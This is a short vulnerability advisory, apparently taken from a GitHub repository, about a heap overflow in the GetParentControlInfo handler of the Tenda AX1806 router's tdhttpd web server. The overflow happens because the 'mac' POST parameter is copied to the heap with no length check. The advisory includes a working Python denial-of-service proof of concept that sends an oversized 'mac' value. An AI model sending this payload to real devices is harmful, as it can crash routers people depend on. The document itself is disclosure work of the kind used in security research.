Skip to content

Latest commit

 

History

History
37 lines (22 loc) · 1.01 KB

File metadata and controls

37 lines (22 loc) · 1.01 KB

Tenda AX1806 GetParentControlInfo function heap overflow

Overview

Affected version

v1.0.0.1

Vulnerability details

/bin/tdhttpd has a heap overflow vulnerability.The vulnerability exists in GetParentControlInfo function, we can through the URL goform/GetParentControlInfo access to it.

  • 1.png

The function takes the POST parameter mac, does not verify its length, and copies it directly to the heap memory, resulting in a heap overflow.

PoC

Poc of Denial of Service(DoS)

import requests

data = {
    b"mac": b"A"*0x400
}
res = requests.post("http://127.0.0.1/goform/GetParentControlInfo", data=data)
print(res.content)

I use qemu-user to emulate it. When I run the POC script, I can see

2.png